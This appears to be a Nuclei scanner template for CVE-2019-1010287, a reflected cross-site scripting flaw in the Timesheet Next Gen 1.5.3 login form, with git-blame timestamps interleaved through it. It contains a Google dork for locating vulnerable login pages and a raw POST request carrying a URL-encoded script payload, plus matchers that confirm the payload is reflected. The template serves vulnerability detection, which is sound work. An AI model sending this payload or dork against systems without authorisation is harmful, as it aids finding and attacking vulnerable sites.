2021-01-02 04:59:06 +00:00
id : CVE-2019-1010287
2020-09-04 10:01:06 +00:00
info :
name : Timesheet 1.5.3 - Cross Site Scripting
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : medium
2021-08-19 13:17:27 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
- http://www.mdh-tz.info/ # demo
2021-02-05 19:44:41 +00:00
tags : cve,cve2019,timesheet,xss
2021-08-19 13:17:27 +00:00
additional-fields :
google-dork : inurl:"/timesheet/login.php"
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.10
cve-id : CVE-2019-1010287
cwe-id : CWE-79
description : "Timesheet Next Gen 1.5.3 and earlier is affected by: Cross Site Scripting (XSS). The impact is: Allows an attacker to execute arbitrary HTML and JavaScript code via a \"redirect\" parameter. The component is: Web login form: login.php, lines 40 and 54. The attack vector is: reflected XSS, victim may click the malicious url."
2020-09-04 10:01:06 +00:00
requests :
2021-08-19 14:44:46 +00:00
- raw : # Metod POST From login.php
2020-09-04 10:01:06 +00:00
- |
POST /timesheet/login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
matchers-condition : and
matchers :
- type : status
status :
- 200
2021-09-08 12:17:19 +00:00
2020-09-04 10:01:06 +00:00
- type : word
words :
- '><script>javascript:alert(document.domain)</script>'
part : body
